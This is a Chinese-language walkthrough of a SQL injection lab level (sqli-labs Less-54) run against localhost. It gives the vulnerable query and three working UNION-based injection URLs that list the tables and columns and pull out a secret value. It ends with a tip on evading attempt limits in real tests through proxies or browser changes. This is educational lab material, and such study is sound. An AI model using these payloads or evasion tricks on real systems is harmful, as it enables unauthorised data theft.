从本关开始,我们进入了page-4 Challenges。此系列主要是一个进阶的学习,将前面学到的知识进行更深次的运用。这一关我们主要考察的依旧是字符型注入,但是只能尝试十次。所以需要在尝试的时候进行思考。如何能更少的减少次数。这里的表名和密码等是每十次尝试后就强制进行更换。
本关sql语句是
$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";
因为已经知道了数据库名字叫做challenges,所以我们需要知道表名。
http://127.0.0.1/sql/Less-54/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+
已经得到表名为hcuhv04r8w(当然你测试的时候应该不是这个),接下来就是要找到该表的所有列
http://127.0.0.1/sql/Less-54/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='hcuhv04r8w'--+
我们得到了所有的列,可以尝试将所有的数据进行查看,此处知道了密码在secret_PGN8列中,所以我们直接查看该列的内容
http://127.0.0.1/sql/Less-54/?id=-1' union select 1,2,group_concat(secret_PGN8) from challenges.hcuhv04r8w--+
将得到的密码进行提交。页面提示:congrats you nailed it,成功。
其实实际渗透测试当中,我们可以利用更换ip(可以考虑代理)或者更换浏览器等,要看服务器端检测什么内容进行限制。